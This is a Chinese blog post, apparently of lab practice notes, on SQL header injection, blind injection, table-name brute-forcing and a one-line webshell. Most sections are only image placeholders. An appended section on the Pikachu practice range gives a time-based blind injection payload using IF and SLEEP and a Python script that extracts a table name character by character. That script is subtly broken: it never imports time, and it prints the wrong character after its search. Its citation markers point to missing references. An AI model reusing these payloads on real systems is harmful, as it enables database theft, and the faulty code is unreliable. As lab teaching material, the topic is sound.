sql盲注、头注与爆破练习

#0x01:SQL头注入
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

盲注

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

#0x02:基于boolean的盲注
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#0x03:基于time的盲注
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#0x04:sql暴力破解表名
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#0x05:一句话木马

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
writed by 0xcc 4/8/2019.

### 关于Pikachu时间SQL注入实验室 Pikachu是一款用于Web安全学习的靶场工具,它提供了多种类型的漏洞实验环境供用户练习,其中包括SQL注入中的时间类型。时间是一种通过延迟数据响应来判断条件真假的方式[^2]。 #### 时间原理 时间的核心在于利用数据函数(如`SLEEP()`或`WAITFOR DELAY`),使查询执行过程中产生人为可控的时间延迟。攻击者可以通过观察页面加载时间的不同,推断出后台数据的状态并逐步获取敏感数据[^1]。 #### Pikachu时间实现方式 在Pikachu靶场中,时间通常涉及以下操作: 1. **构造payload**: 使用`IF`语句配合`SLEEP()`函数构建延时逻辑。例如: ```sql IF(ASCII(SUBSTRING((SELECT database()),1,1))=98,SLEEP(5),NULL) ``` 上述payload表示如果当前数据名称的第一个字符等于ASCII码值为98,则触发5秒延迟;否则无任何动作。 2. **检测延迟**: 当发送上述请求后,服务器端处理耗时明显增加时,说明猜测正确。反之则错误。根据返回结果调整下一次试探位置直至完成整个字符串还原过程为止。 3. **自动化脚本编写**: 手动逐位爆破效率低下,在实际渗透测试场景下往往借助Burp Suite Intruder模块或者自定义Python脚本来加速这一流程。下面给出一个简单的Python示例代码片段展示如何自动提取目标表名首字母: ```python import requests url = 'http://localhost/pikachu/vul/time_sql.php' def check(payload): data = {'id': payload} start_time = time.time() response = requests.post(url, data=data) elapsed_time = time.time() - start_time return True if elapsed_time >= 5 else False ascii_min, ascii_max = 48, 122 while ascii_min <= ascii_max: mid = (ascii_min + ascii_max) // 2 test_payload = f"1' AND IF(ORD(MID((SELECT table_name FROM information_schema.tables WHERE table_schema='test'),1,1))>{mid}, SLEEP(5), NULL)-- " if check(test_payload): ascii_min = mid + 1 else: ascii_max = mid - 1 result_char = chr(mid) print(f"The first character of the target table name is {result_char}.") ``` #### 意事项 尽管此类练习有助于理解SQL注入的工作机制及其危害程度,但在真实环境中实施类似行为可能违反法律,请务必仅限于授权范围内开展研究活动[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值